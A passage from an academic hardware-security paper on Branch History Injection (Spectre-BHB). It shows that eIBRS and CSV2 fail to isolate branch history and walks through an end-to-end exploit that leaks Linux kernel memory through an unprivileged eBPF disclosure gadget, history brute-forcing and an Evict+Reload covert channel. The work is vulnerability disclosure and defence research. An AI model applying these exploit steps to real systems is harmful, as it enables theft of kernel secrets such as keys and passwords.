cates support for two solutions: (i) one that should prevent
the speculative control of indirect branch targets from dif-
ferent hardware contexts (when CSV2=1); and (ii) one that
should enforce the same guarantees also for different soft-
ware contexts defined by the SCXTNUM_ELx register (when
CSV2=2) [7].

• Intel - CET-IBT. Intel also released Indirect Branch Track-
ing (IBT) as part of its new Control-Flow Enforcement Tech-
nology (CET) in its Tiger Lake microarchitecture. CET-IBT
prevents the execution—both speculative and architectural—
of all the indirect branch targets that do not start with the
ENDBR32/64 instruction [29]. While it does not prevent
speculation altogether, it seeks to reduce the number of
available gadgets and hinder exploitation.

4.3 A Complex Adoption

While plenty of defenses against BTI are available, it is still
unclear when each of these solutions is effectively deployed.
In this section, we examine the adoption of defenses against
cross-privilege BTI attacks. In particular, we consider their
adoption in the Linux kernel across architectures (both x86-
64 and Arm). We then expand to other hardware-software
configurations and discuss their impact on exploitation.

Software defenses. Older-generation CPUs lacking in-
silicon solutions need to rely on software defenses. We show
their adoption in the Linux kernel in Table 1. We detect their
use on: old Intel microarchitectures (e.g., Coffee-Lake R),
where Linux simply relies on retpoline; and on old Arm Cor-
tex designs (e.g., Cortex-A76), where it invalidates the branch
predictor from software. Interestingly, even in the presence
of hardware defenses, their software counterparts are some-
times preferred by the OS due to the performance impact of
the former [51, 54]. For instance, we observe this behavior
for the Intel Core i9-9900K, where Linux resorts to retpoline
despite the support of IBRS, and for all AMD CPUs where
it follows the vendor’s recommendations to employ AMD
retpoline [51].

Hardware defenses. For modern Intel and Arm microar-
chitectures, the Linux Kernel relies on the new hardware mit-
igations (as of version 5.14). For instance, for modern Intel
CPUs (from Cascade Lake onward) it simply relies on eIBRS
instead of deploying retpoline. The same applies to modern
Arm CPUs, where the Android kernel avoids invalidating the
branch predictor entries when CSV2 is set. Curiously, we
identified two revisions (with and without support for CSV2)
of the Arm Cortex-A76 microarchitecture, showing the frag-
mentation of the Arm ecosystems.
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Table 1: Linux Spectre-v2 defenses on the Linux kernel version 5.14 (Intel & AMD), version 5.10 (Google), and 4.14 (Qualcomm). Please note
that IBRS is available only with updated microcode.

Vendor Model µArch Software Defenses Hardware Defenses

x86 Defenses Retpoline AMD retpoline IBRS eIBRS
Core i9-9900K Coffee-Lake R  #† # —
Core i7-10700K Comet-Lake # #† #  
Core i7-11700 Rocket-Lake # #† #  
Core i7-11800H Tiger-Lake # #† #  
Xeon Silver 4214 Cascade-Lake # #† #  

Intel

Xeon Silver 4310 Ice-Lake # #† #  

Ryzen 5 5600X Zen 3 #  # —AMD Epyc 7662 Zen 2 #  # —

Arm Defenses Retpoline Workaround_1 CSV2=1 CSV2=2
Tensor Cortex A55 ‡ #† — — —
Tensor Cortex A76 #† —  —Google
Tensor Cortex X1 #† —  —

Qualcomm Snapdragon 855 Cortex A76 #†  — —

( ) Default solution, (#) Disabled, (—) Not available, † Not recommended by the vendor, ‡ Not affected by BTI.

On the other hand, on AMD we observed that even very
recent CPUs do not support the “always-on” IBRS but only
the older and more expensive IBRS variant—we verified this
on the Ryzen 5600X released in late 2020. For this reason,
AMD still recommends the use of AMD retpoline [51].

Deployment in other contexts. Other environments seem
to have followed a similar trend of adopting hardware de-
fenses when available. For instance, we analyzed Windows
on Intel CPUs and we observed that, despite having adopted
retpoline for a long time [31], newer builds rely on eIBRS sim-
ilar to Linux—we empirically verified this behavior on an In-
tel i7-11800H with Windows version 21H2 build 19044.1288.
We observed the same trend on common hypervisors: both
Xen [13, 22] and KVM [42, 66] enforce guest-host separation
by relying on eIBRS and CSV2 as preferred options when the
hardware supports them.

Adoption impact. Considering the widespread deployment
of these hardware solutions across OSes and hypervisors,
it is crucial to understand their effectiveness against cross-
privilege BTI attacks. These defenses promise to prevent
speculative control of targets of any indirect branch across
privilege boundaries. For instance, while previously attackers
could directly mistrain the kernel from userland without any
major impediment, this should no longer be possible. How-
ever, despite these claims, little is known about their security
guarantees. For instance, Arm itself states that, on systems
protected by CSV2, an attacker can still control the specula-
tive execution of indirect branches “in a hard-to-determine
way” [7]. This leaves open questions on the possible short-
comings of the proposed mitigations. In the next section, we
analyze these solutions and disclose fundamental limitations
in some of their implementations, showing how we can still

build cross-privilege BTI attacks even on systems with tar-
geted hardware mitigations.

5 Branch History Injection

In this section, we will first take a closer look at indirect
branch prediction in the era of eIBRS and CSV2 hardware
defenses. Based on our observations, we develop and describe
Branch History Injection (BHI), an attack primitive which
allows attackers to mount BTI attacks even in the presence of
these in-silicon defenses.

5.1 Bypassing eIBRS and CSV2
While little is known about the inner workings of eIBRS, de-
tails about the implementation of CSV2 on Exynos M-series
CPUs were disclosed in prior work [23]. Considering their
very similar security guarantees, we can model both solutions
as an isolation-based defense where the tag of each BTB entry
is hashed using the hardware (and possibly software) context
as a key—in the case of the Exynos predictor, this key is actu-
ally used to encrypt the branch target itself [23]. As such, the
context hash also defines for which predictor mode the BTB
entry is valid. This observation is additionally supported by
the Intel documentation [26], which states that eIBRS does
not protect against intra-mode BTI. Indeed, isolating the BTB
entries would still allow same-mode mispredictions by design.

To characterize the remaining cross-privilege attack sur-
face, we need to verify whether all the components of the
indirect branch prediction logic are correctly isolated. As
shown in Section 2, indirect branch prediction is a complex
procedure that depends on multiple components such as the in-
direct branch source address and the BHB value encoding the
history of previous branches. We hypothesize that especially
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Figure 3: BTB tag computation for indirect branches after a
user→ kernel switch with improper BHB isolation. Even if the in-
direct branch source address IPK and a small portion of the BHB is
not under user control, an attacker can still affect the BTB-tag value.

the BHB may not be properly isolated due to (legitimate)
performance reasons. The intuition is that the accumulated
branch history before a switch to a different privilege level is
essential to accurately predict the initial branches and improve
critical-path performance. As an example, let us consider a
syscall. When executing a syscall, one of the earliest opera-
tions performed by the Linux kernel is an indirect jump to
the correct syscall handler function, whose address is stored
in the sys_call_table. Since the initial kernel code path is
always the same no matter the syscall, it is essential to use the
recent user history to perform an accurate prediction. In this
scenario, the BHB value would be filled with values mostly
originating from the user history, as shown in Figure 3.

To test our hypothesis, we verify whether the BHB value
is isolated after a mode switch to a privileged domain, by
means of the experiment in Algorithm 1. The experiment
associates two different histories with two separate syscalls
by filling the BHB with different values. It does so by exe-
cuting enough taken branches to fill the BHB. Specifically,
history Hload is associated with a custom syscall leaving an
observable microarchitectural trace—observable by means of
a simple FLUSH + RELOAD (F+R) covert channel [61]. His-
tory Hdummy, on the other hand, is mapped to another arbitrary
syscall (e.g., getpid). After the training in Lines 1–6, the indi-
rect branch predictor associates the expected syscall target to
the observed context (i.e., based on the user history). Finally,
the experiment tests whether the predictor mispredicts to the
custom syscall leaving a microarchitectural trace when mix-
ing the history Hload with the dummy syscall. Surprisingly,
despite the presence of the eIBRS and CSV2 defenses, we
observed accurate mispredictions rates of > 95% for all Intel
and Arm devices affected by Branch Target Injection (BTI).

Observation 1. The BHB is not isolated among differ-
ent privilege levels, allowing attackers to control indirect
branch prediction for early branches in the higher-privilege
mode.

We name this attack primitive Branch History Injection (BHI
or Spectre-BHB). BHI is an “extension” of classic Branch
Target Injection (BTI) in that it partially reintroduces the
cross-privilege attack surface BTI lost after the introduction
of eIBRS and CSV2. In fact, while BTI used to allow attackers

Algorithm 1 Experiment to verify BHB isolation between
user and kernel mode. For the training phase, n = 1 is usually
sufficient on the tested CPUs in Table 2.

1: for i← 1,n do ▷ Training
2: set_history(Hload)
3: syscall→ load(mem) ▷ Hload → load(mem)
4: set_history(Hdummy)
5: syscall→ dummy ▷ Hdummy→ dummy
6: end for
7: flush(mem) ▷ Remove mem from cache
8: set_history(Hload)
9: syscall→ dummy ▷ Misprediction to load(mem)?

10: reload(mem)

to perform inter-mode attacks (e.g., user→ kernel), eIBRS
and CSV2 ought to limit them to intra-mode attacks (e.g.,
kernel→ kernel). However, BHI can overcome these defenses,
effectively allowing an unprivileged attacker to leverage their
control over the BHB to divert execution—albeit, only to valid
kernel targets—across privilege boundaries. Also note that,
although BHI attacks are cross-privilege and rely on polluting
the indirect branch prediction state with unprivileged data
(i.e., history), they can still be considered a special subset
of intra-mode BTI attacks—since the mistraining and the
hijacking step still both occur in the higher-privilege mode.

We list the tested devices in Table 2. Our experiments in-
dicate that Intel and Arm processors deploying eIBRS and
CSV2 are vulnerable to BHI. Furthermore, we observed that
the Arm Cortex-A76 deploying the software-based defense
Workaround_1 is also vulnerable to BHI, suggesting that the
mitigation does not invalidate the BTB as expected. In com-
parison, systems which rely on retpoline (i.e., AMD systems
and most Intel systems without eIBRS) are not affected by
BHI. Finally, we observed that AMD IBRS protects against
both inter- and intra-mode BTI altogether, in line with their
documentation [51]. That is, we could not speculatively con-
trol the target of any indirect branch executed after toggling
IBRS—providing security guarantees comparable to IBPB.

BHI on other predictor modes. We extended our exper-
iments to test if the BHB is isolated between the other
major privilege boundaries on x86-64 processors1: guest-
user→ host-supervisor, guest-supervisor→ host-supervisor
and guest-user→ guest-supervisor. In all scenarios, we ob-
served identical results, demonstrating the general applica-
bility of this vulnerability. Our results show that, even with
the state-of-the-art eIBRS in-silicon mitigation, an attacker
can still hijack more privileged indirect branch predictions by
controlling only the BHB value.

1We did not extend these experiments to Arm processors, as our test
platforms (Google Pixel 6 & Pixel 4) did not provide readily accessible
interfaces to run custom code in EL2 or EL3.
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Table 2: Vulnerability to BHI and corresponding attack surface of tested processors. “BHI vulnerable” specifies—for different defenses—if an
unprivileged history can mistrain more privileged indirect branch predictions. “BHI attack surface” indicates whether BHI can be used to
mistrain only from the same indirect branch (in-place BTI) or any indirect branch in the victim context (out-of-place BTI).

Vendor Model µArch BTI vulnerable BHI vulnerable BHI attack surface∗

x86-64 IBRS eIBRS BTI in-place BTI out-of-place
Core i9-9900K Coffee-Lake R ✓ ✓ — ✗ ✗
Core i7-10700K Comet-Lake ✓ ✓ ✓ ✓ ✓
Core i7-11700 Rocket-Lake ✓ ✓ ✓ ✓ ✓
Core i7-11800H Tiger-Lake ✓ ✓ ✓ ✓ ✓
Xeon Silver 4214 Cascade-Lake ✓ ✓ ✓ ✓ ✓

Intel

Xeon Silver 4310 Ice-Lake ✓ ✓ ✓ ✓ ✓

Ryzen 5 5600X Zen 3 ✓ ✗ — ✗ ✗AMD Epyc 7662 Zen 2 ✓ ✗ — ✗ ✗

Arm Workaround_1 CSV2=1
Tensor Cortex A55 ✗ — — ✗ ‡ ✗ ‡

Tensor Cortex A76 ✓ — ✓ ✓ ✗Google
Tensor Cortex X1 ✓ — ✓ ✓ ✗

Qualcomm Snapdragon 855 Cortex A76 ✓ ✓ — ✓ ✗

(✓) affected, (✗) not affected, (—) not available, (‡) Not affected by BTI, (∗) Adopting the default mitigation shown in Table 1.
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HR TR

BHB 
Aliasing 
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transientarchitectural

b1: jmp [rax]

b2: jmp [rax] 

Randomize HR 

Figure 4: Brute-force approach to find colliding BHB values.

5.2 BHI Attack Surface
In the previous section, we demonstrated how Branch History
Injection can re-enable cross-privilege BTI attacks. However,
when limiting ourselves to the experiment in Algorithm 1, its
attack surface is limited to that of intra-mode in-place BTI.
That is, the only available gadgets would be valid kernel tar-
gets (intra-mode) of the specific indirect call being mistrained
(in-place). In this section, we investigate the possibility of ex-
panding the attack surface to other valid kernel indirect branch
targets using BHI to cause out-of-place BTI [9, 11, 18, 34]. In
other words, we want to understand if we can cause BTB-tag
collisions between two distinct indirect branches by manip-
ulating only the BHB value and not the branch address (see
Figure 1). Enabling such primitive would allow us to identify
gadgets across targets of different kernel indirect branches,
considerably expanding the attack surface.

To verify this, we implemented a userland-only (i.e., same-
predictor mode) experiment in which we execute two different
indirect branches, one after the other, in a loop, as shown in
Figure 4. The first branch has a fixed history HA and a fixed

Listing 1 Example of a jmp-chain used to fill the BHB with a
random value.

1 0x1337cafe: jmp 0xdeadbeef
2 ...
3 0xdeadbeef: jmp 0xd0d0caca
4 ...
5 0xd0d0caca: jmp [rax]

target TA, while the second one uses a random history HR for
every iteration and a fixed target TR. Eventually, we want to
observe a mispeculation to TA under a random history HR,
rather than to the correct TR, which would indicate collid-
ing BHB values. We construct the histories by prepending
the indirect branches with a chain of randomly located jmp
instructions, as shown in Listing 1. Since the BHB value
depends on the source and destination addresses of the pre-
vious branches [34, 62], we can randomize these values to
randomize the BHB value as a result.

This experiment successfully found colliding BHB values
for all the tested Intel CPUs, but not for any of the Arm and
AMD processors in our test set. In Table 2, we report the
results when operating cross-privilege mistraining with the
default mitigations enabled, which shows that eIBRS-enabled
Intel CPUs are susceptible to out-of-place BTI via BHI. We
additionally observed that there are no requirements on the
source address alignment of the two indirect branches. Indeed,
we were able to find collisions no matter the values of all
branch addresses in the experiment.

Observation 2. On Intel systems, we can generate the same
BTB tag for two distinct indirect branches by simply con-
trolling the BHB value for one of these branches.
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Figure 5: BHB size recovery. We start by providing two colliding
histories HA = HB so that we can observe a misprediction. We then
keep HA fixed and start changing old branches in HB until we
observe predictions to the right target TB.

In other words, out-of-place BTI on Intel systems is pos-
sible just by controlling the BHB. This allows an attacker
to transiently execute any valid indirect-branch target in the
victim’s context (i.e., any kernel indirect-call target).

Another interesting result is that a colliding history to
a given branch context leads to high misprediction rates
(> 95%) when replayed against the same branch context.
Hence, once found, an attacker can re-use a colliding history
for a given branch context over and over to cause accurate
branch mispredictions. Interestingly, we observed that col-
liding histories are even portable on different processors of
the same generation with different microarchitectures. For
example, the same collision found on a i7-10700K worked on
a Xeon Silver 4214, suggesting that the same indirect branch
prediction logic is shared among different microarchitectures.

In-place attack surface. In the remainder of the paper, we
show how we can leverage BHI to exploit out-of-place BTI,
since it provides a larger attack surface. Hence, we build end-
to-end exploits only on Intel systems. Nevertheless, exploiting
in-place BTI is still a realistic threat. For instance, Appendix A
discusses an additional issue we reported to the Linux kernel
developers where, on systems protected by eIBRS, all indirect
jumps in the kernel were “funneled” to a handful of call sites
due to the runtime patching performed for retpoline. Under
such circumstances, given the plethora of valid targets avail-
able per indirect branch, in-place BTI attacks have essentially
the same attack surface as out-of-place BTI ones.

Finally, even if we could not reproduce out-of-place BTI
on Arm devices, when we repeated the same experiment with
a single indirect branch, we observed colliding histories (Ta-
ble 2)—confirming in-place BTI attacks are possible on Arm.
Moreover, the fragmentation of the Arm ecosystem does not
ensure the same implementation of predictors and the same se-
curity guarantees for all the systems. For instance, as we show
in Table 1, we observed two different versions of A76-based
architectures: one deploying CSV2, and one which does not.
Similarly, two CPUs with the CSV2 register set may provide
different guarantees depending on the licensee’s design [23]

Table 3: Indirect branch prediction reverse engineering of tested Intel
processors. “BHB size” indicates how many taken branches affect
the BHB value. “Tag entropy” specifies the brute-force entropy size
of the BTB tag. “BHB control” specifies the minimum number of
attacker-controlled branches to generate arbitrary BTB tags.

CPU Tag entropy
(bits)

BHB size
(#branches)

BHB control
(#branches)

Intel Core i7-10700K 14 29 ≥ 9
Intel Xeon Silver 4214 14 29 ≥ 9

Intel Core i7-11700 17 66 ≥ 8
Intel Core i7-11800H 17 66 ≥ 8
Intel Xeon Silver 4310 17 66 ≥ 8

and, as we discuss in Section 7, the mitigations deployed by
Arm confirm the presence of vulnerable platforms.

5.3 Understanding BHI on Intel

From an attacker perspective, it is useful to understand the
capabilities and limitations of BHI. In this section, we inves-
tigate three main parameters. (1) We first want to understand
what the “size” of the BHB is, i.e., the number of previous
branches affecting the BHB value. (2) Then, since we opt for a
microarchitecture-agnostic brute-force approach—in contrast
to prior work that reverse engineered the BHB [34, 62]—we
need to understand how long it takes to find a colliding history.
(3) Finally, we want to understand how many user branches an
attacker needs to control to generate BTB-tag collisions—i.e.,
how deep (from the syscall) the victim indirect branch can be.

BHB size. To find the BHB size (i.e., how many previous
branches are tracked) we use the methodology described in
prior work [34, 62, 64], based on a single indirect branch with
two possible targets TA and TB. As shown in Figure 5, the
experiment starts by training the predictor so that, with a his-
tory HA, the indirect branch would always jump to target TA,
while with a history HB it would always jump to target TB.
With two identical histories HA and HB, the predictor cannot
make accurate prediction, always yielding a mispeculation
to the latest target. Thus, by keeping HA constant while in-
crementally modifying HB, starting from older branches, we
eventually stop observing mispredictions. This means that the
predictor was finally able to correctly distinguish HA from
HB, thus revealing the number of most recent branches affect-
ing the BHB value. We report the results of this experiment
in Table 3. As mentioned in Section 5.2, we observed that
predictor designs may be shared across different microarchi-
tectures. Our experiment suggests that two different designs
are used for our test set and we cluster the respective CPUs
in Table 3 accordingly. Our results showed that the latest 29
or 66 branches determine the BHB value, depending on the
microarchitecture.
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Figure 6: Cumulative distribution of the required trials to find a
collision for a given context resulting in the same BHB value on
an Intel i7-10700K (top) and an Intel Xeon Silver 4310 (bottom)
over 10,000 individual trials. The results perfectly match geometric
cumulative distribution to brute-force 14 and 17 bits of entropy.

History brute-forcing. In Section 5.2, we brute-force the
BHB value in order to find BTB-tag collisions. However,
this approach may be unfeasible for exploitation if the BTB
tag is too large. For this reason, we repeated the experiment
shown in Figure 4 multiple times to observe the distribution
of trials needed to find a colliding history. We expect this ex-
periment to follow a geometric distribution over the number
of attempts, since all trials are independent, there are only
two outcomes (collision/no-collision), and the probability of
success is the same for every trial. Indeed, the results shown
in Figure 6 follow a geometric distribution. For instance, on
the i7-10700K, our experiment showed that the probability p
of observing at least one collision is approximately 0.4 after
8,000 trials and 0.85 after 32,000 trials. We observed two cu-
mulative distributions matching geometric distributions with
respective success probability of p = 1/214 and p = 1/217

depending on the microarchitecture. This suggests that the
brute-force space for these CPUs is exactly 14 and 17 bits, re-
spectively. We refer to this brute-force space as the “BTB-tag
entropy”, as an attacker needs to overcome this entropy when
attempting to forge a colliding BTB-tag value. The limited
BTB-tag entropy and the reliable misprediction rates prove
that brute-forcing is a viable option for an attacker seeking
portable exploitation without having to reverse engineer the
predictor internals each time.

Observation 3. The BTB-tag entropy is small enough to
allow brute-force approaches.

History controllabilty. Finally, another key parameter is
the minimum number of branches an attacker needs to control

HBHR

HBHR

HRk=29

k=16

k=7

HA

HB

b1: jmp [rax] TA

✔

b2: jmp [rax] TB ✗

b2: jmp [rax] TA

b2: jmp [rax] TA

b2: jmp [rax] TB ✗

✔
...

...

Architectural Transient

✔ Collision found ✗ Collision not found

s=29

Figure 7: Minimum history control recovery for the Intel 10700K.
Starting with two non-colliding histories (HA and HB), we aim to
discover the minimum number of controlled branches in HB to pre-
serve collisions.

to generate arbitrary BTB tags. This is important for BHI
attacks, as an attacker may only control a small portion of
the BHB when exploiting indirect branches deeply nested in
the kernel. To identify the minimum number of branches one
needs to control, we used the experiment shown in Figure 7—
based on the brute-force technique discussed in Section 5.2.
The experiment starts by finding two non-colliding histories
HA and HB of length equal to the BHB size(s). Next, we keep
HA constant and start generating random histories HR until
we find a collision—which will likely happen within a few
thousand executions (Figure 6). Once we observe a collision,
we fix the youngest branch (i.e., the closest to the indirect
jump) to the latest branch of HB (HB[s]) and we randomize
the previous s− 1 branches in the jump chain. That is, the
generated history will be the concatenation between HR[1 : k]
and HB[k : s], where k is the number of branches under the
attacker’s control—ranging from s to 1. We continue this
process by fixing (i.e., losing control over) one more branch
at every round—i.e., k→ k−1. The brute-forcing continues
until a collision is found or when a timeout is reached (i.e., one
million trials based on the results in Figure 6) for each value of
k. When the attacker can randomize only few “old” branches,
the chances of finding a colliding history decrease, causing
the experiment to reach a timeout at every run. We show the
results for a 24-hour run of this experiment in Figure 8. We
observed reliable history collisions (p≈ 1) when controlling
only the oldest 9 out of 29 or 8 out 66 branches (respectively),
depending on the microarchitecture. For example, on a Xeon
Silver 4310, an attacker needs to control only the 8 branches
before a syscall to be able to mistrain an indirect branch as
deep as 58 basic blocks after the kernel mode switch.

Observation 4. The control of few branches is sufficient to
generate colliding BTB tags.
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Figure 8: Probability of finding a colliding history to a given history
HA when controlling only the oldest k branches (x-axis). The plot is
the result of a 24-hour run of the experiment described in Section 5.3.

6 End-to-end Exploitation

In this section, we showcase two end-to-end BTI exploits
against the Linux kernel with eIBRS enabled. We first exploit
our BHI primitive to leak data from the Linux kernel at
160 bytes/s. We then show how eBPF allows us to build even
more complex kernel-to-kernel (i.e., generic intra-mode BTI)
exploits. Finally, we conclude by discussing the implications
of disabling unprivileged eBPF.

Attacker model. We consider unprivileged attackers who
aim to disclose confidential information, such as private keys,
passwords, or randomized pointers. We assume an x86-64
based victim machine running the latest microcode and op-
erating system version, with all state-of-the-art mitigations
against transient execution attacks enabled. We also consider
a victim system with no exploitable vulnerabilities apart from
the ones considered. Finally, we assume attackers can run
(only) unprivileged code on the victim system, but seek to
leak data across privilege boundaries.

Experimental setup. All the experiments in this section
were performed on an Intel i7-10700K machine with eIBRS
enabled and microcode revision 0xec, running Linux kernel
version 5.14.10 (latest stable at the time of writing) without
modifications and compiled with the corresponding default
Ubuntu kernel config file (available with the rest of our code
at https://vusec.net/projects/bhi-spectre-bhb).

6.1 Attacker Primitives

In order to craft an end-to-end BTI exploit against the kernel,
we need to acquire the following primitives.

P1 – Victim branch. We need to find an indirect branch in
the kernel we can mistrain. The victim branch needs to: (i)
be triggered from userland; (ii) allow the attacker to control

enough of the history to exploit BHI (see Section 5.3); and
(iii) execute with attacker-controlled registers or stack values.

P2 – Disclosure gadget. We need a disclosure gad-
get to leak arbitrary data via a covert channel such as
FLUSH + RELOAD (F+R) [61] or its eviction-based variant
EVICT + RELOAD (E+R). We show a simple F+R transient
gadget below.

reload[*secret_byte * 4096];

This gadget performs two dependent loads to leak arbitrary
bytes by encoding them in a reload buffer—the secret is
multiplied by 4096 to bypass the cacheline prefetchers [34].
However, the complexity of the gadget depends on the state of
the registers when the victim branch is reached. Hence, more
loads may be required. Depending on the attack primitive,
the gadget must be between the valid targets of the vicitm
branch (in-place BTI) or among any indirect branch target in
the victim space (out-of-place BTI).

P3 – Covert channel. This primitive builds on top of the
previous two. However, it introduces its own set of challenges.
In fact, the disclosure gadget alone only leaves a microarchi-
tectural trace in the cache but does not leak it to the attacker.
Therefore, we need to build a valid channel across privilege
boundaries (e.g., a shared F+R buffer [20, 34, 62]).

P4 – History brute-forcing. In Section 5.1, we rely on a
synthetic covert channel to demonstrate how we can use BHI
to build cross-privilege BTI attacks. However, as the end-to-
end exploit targets an unmodified kernel, this option is no
longer available. Since we do not know the inner workings
of the BHB, we need a way to detect when our brute-forcing
technique succeeds in finding two colliding histories. There-
fore, we need another covert channel to leak this “bit” of
information to an unprivileged attacker.

6.2 Exploiting BHI with eBPF
We now showcase an end-to-end exploit by leveraging
Extended Berkeley Packet Filter (eBPF) to acquire all the
aforementioned primitives.

P1 – Victim branch. In order to simplify the exploit, we
looked for the “closest” indirect branch to the syscall en-
try point. In the Linux kernel, this is in the do_syscall_64
function—only 4 taken branches away from the syscall in-
struction. This function uses an indirect branch to execute the
correct syscall handler stored in the syscall jump table. Since
the function is executed immediately after the user-to-kernel
mode switch, the BHB value is almost entirely under user
control—making BHI easier to exploit.

980    31st USENIX Security Symposium USENIX Association

https://vusec.net/projects/bhi-spectre-bhb


Listing 2 JIT’ted code for the eBPF program serving as dis-
closure gadget.

1 push rbp
2 mov rbp,rsp
3 ;load er_buf base address
4 movabs rsi,0xffffc900028ff110
5 ;rdi+0x18 = &pt_regs.r12 transiently
6 ; = &bpf_sock architecturally
7 mov rax,QWORD PTR [rdi+0x18]
8 test rax,rax
9 je fail

10 ;Dereference of user r12 value transiently
11 mov eax,DWORD PTR [rax+0x14]
12 ;extract the byte to leak
13 and rax,0xff
14 shl rax,0xc
15 add rsi,rax
16 ;maccess(er_buf[byte_to_leak*0x1000])
17 mov rsi,QWORD PTR [rsi+0x0]
18 fail:
19 xor eax,eax
20 leave
21 ret

Additionally, before calling do_syscall_64, all user regis-
ters are pushed onto the stack, and a pointer to them is passed
as a first argument in rdi. In other words, the attacker con-
trols a large portion of the stack when executing the disclosure
gadget, greatly aiding exploitation.

P2 – Disclosure gadget. We rely on eBPF to make our
attack independent of the kernel version and configuration.
eBPF filters are user-developed programs that perform spe-
cific tasks, such as packet filtering, inside a kernel sand-
box. On most Linux-based systems, eBPF programs are JIT-
compiled for additional performance and unprivileged users
have access to a restricted subset of their functionalities2.
As a result, unprivileged attackers can “inject” code into the
kernel, as long it conforms to the restrictions imposed by un-
privileged eBPF, and they can then trigger their execution by
simply writing to a socket. While eBPF JIT’ed code is hard-
ened against traditional Spectre attacks (e.g., Spectre-v1 [34]),
we can still build “transient type confusion” attacks. In fact,
eBPF programs are executed from an indirect branch, making
them ideal BTI gadgets.

For our purposes, we create an eBPF program that can leak
data from arbitrary memory locations when executed tran-
siently from our victim branch. We show the JIT’ed code
of this disclosure gadget in Listing 2. Architecturally, this
program operates on a bpf_socket struct pointer passed
via rdi. However, when executed transiently from the
do_syscall_64 indirect jump, it operates on the stack-saved
user registers referenced by rdi. We abuse this primitive to

2The corresponding build options are CONFIG_HAVE_EBPF_JIT=y and
CONFIG_BPF_UNPRIV_DEFAULT_OFF not set. Default on major Linux distros,
e.g., Debian 11, Ubuntu 20.04, and OpenSuse SLE 15.3 at the time of writing.

read arbitrary kernel addresses (stored in the user-saved r12
register) and then transfer them to userland through an E+R
buffer, one byte at the time.

P3 – Covert channel. To successfully build an E+R
covert channel, we still rely on eBPF. We first allocate two
BPF_MAP_TYPE_ARRAY eBPF buffers: one for reload stage
and another one to perform the eviction.

To measure access times of the reload buffer, we
create a second unprivileged eBPF program using the
bpf_ktime_get_ns helper function, which provides enough
timing resolution to discern between a cache hit and a miss.
To propagate the measured timings, we use eBPF maps—
key/value stores to exchange data between eBPF programs
and userland. Finally, for the eviction stage, we simply access
“enough” page-aligned addresses in the eviction buffer to evict
the leaked entry from the LLC set (i.e., around 4K accesses
for the tested machine) [59].

P4 – History brute-forcing. The last primitive to com-
plete the exploit is a way to detect when BHI succeeded, i.e.,
when we craft a user-controlled history for the victim branch
(i.e., do_syscall_64) that generates the same BTB tag of
the eBPF gadget. eBPF simplifies this step as well, since its
programs are always executed via the same indirect branch.
Therefore, the user-crafted history can be reused to trigger
transient execution of any eBPF program—as long as it was
executed before the victim branch.

To find a history resulting in such a collision, we install a
one-bit E+R gadget (i.e., it loads a single variable). This pro-
gram allows us to determine whether the gadget was executed
in the first place or not. We then brute-force different BHB
values from userland, as shown in Listing 1. If the histories
collide, our E+R gadget detects a hit. Thanks to the limited
size of the BTB tag, only a few thousand trials—usually com-
pleting in less than a minute—are sufficient to find a BHB
value that aliases to the target BTB entry (see Section 5.3).

Optimizations. While these primitives are sufficient to build
a working exploit, the transient window is fairly small. As
such, we observe a fairly weak signal. We improve the signal
by evicting the cache line containing the sys_call_table
entry of the mistrained syscall (e.g., getpid) before triggering
the BHI-based misprediction. Doing so extends the transient
execution window of the victim branch, greatly improving
the reliability of the exploit. However, this step comes at the
cost of an increased setup time, as we now need to program-
matically find a matching eviction set. This can be achieved
by starting with a large eviction set and trying different cache
line offsets until we measure an increased execution time for
the targeted syscall. After being sure that the correct cache
line is evicted, the eviction set can be reduced using methods
described in prior work [59].
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Figure 9: Visualization of our BHI exploit.

The full attack. With all these components in place, the
attack can be summarized in 5 main steps (Figure 9):

1 Initially, the attacker triggers the execution of the eBPF
disclosure gadget by sending a packet to a socket with
an eBPF packet filter.

2 Since eBPF programs are executed from an indirect
branch in bpf_run(), the execution of the eBPF gad-
get generates a BTB entry with tag TAGG, based on
the history BHBG and the source address of the branch
IPG; i.e., TAGG = f ( BHBG , IPG ). This entry is kernel-
tagged since the indirect branch is performed by the
eBPF scheduler.

3 The attacker then fills the BHB from userland by execut-
ing the jump-chain they previously identified to cause a
BHB collision right before performing a syscall.

4 Upon reaching the syscall entry point in
do_syscall_64, the branch predictor tries to pre-
dict the indirect target of the correct syscall handler (e.g.,
getpid). Due to BHI, the attacker-controlled BHB value
causes a BTB-tag collision with the eBPF-gadget entry,
that is, TAGG = f ( BHBU , IPS ) = f ( BHBG , IPG ).
As a result, the branch predictor will mispeculate and
transiently execute the eBPF disclosure gadget instead
of the syscall handler.

5 Finally, thanks to the “transient type confusion”, the gad-
get in Listing 2 speculatively leaks the value referenced
by the user-saved register r12. The leaked data can then
be recovered using the E+R covert channel above (P3).

Evaluation. We evaluated our exploit by leaking 10 times
8 kB of contiguous kernel memory. Our proof-of-concept
exploit requires an average setup time of 22 seconds to build
an eviction set, and an average of 13 seconds to brute-force
the BHB history. We observed a bandwidth of 160 bytes/s and
an error rate of 1% on average.

6.3 Same-Predictor-Mode Exploit

Isolation-based mitigations, such as eIBRS and CSV2, were
developed under the assumption that intra-mode exploit are
impractical at best, if not impossible [4, 29]. In the previous
sections, we unveiled fundamental implementation flaws of
these mitigations (Section 5) and demonstrated how we can
exploit BHI to build an end-to-end exploit against the kernel
(Section 6.2). However, assuming a hypothetical implemen-
tation of these mitigations that inhibits cross-privilege BHI,
would we still be able to mount attacks?

We now show that, even with completely isolated branch
contexts, intra-mode (e.g., kernel-to-kernel) BTI exploits are
not only possible, but even practical. Indeed, almost all the
primitives we built in Section 6.2 remain untouched. We only
move the BHB brute-forcing (P4) inside eBPF itself. How-
ever, differently from Section 6.2, we now exploit the BHB
only to perform out-of-place BTI within the kernel, without
performing BHI. To this end, we create an additional eBPF
program that executes “enough” conditional branches to poi-
son the BHB based on a value provided by the attacker via
eBPF maps. At the end of this program, we use the eBPF
tail_call helper function to append an indirect branch in-
jecting a BTB entry for our disclosure gadget (P2). Then,
we simply brute-force the BHB value during the setup of the
exploit and, once we find a colliding history, we fix it for the
rest of the execution. Hence, the general attack flow remains
the same as the one shown in Figure 9, with the only differ-
ence being that we now generate a colliding BTB tag with the
fill_bhb function inside the kernel when writing to a socket
(step 1 ). We evaluated this generalized intra-mode BTI ex-
ploit and observed identical leak rate and setup time compared
to the cross-privilege BHI variant shown in Section 6.2.

Implications. Intra-mode BTI exploits were previously
deemed unfeasible. This assumption has motivated the design
of mitigations such as eIBRS and CSV2. By demonstrating a
working kernel-to-kernel BTI exploit, we show that adopting
isolation-based solutions as full-fledged mitigations is too op-
timistic. In fact, thanks to user-accessible interpreters and JIT
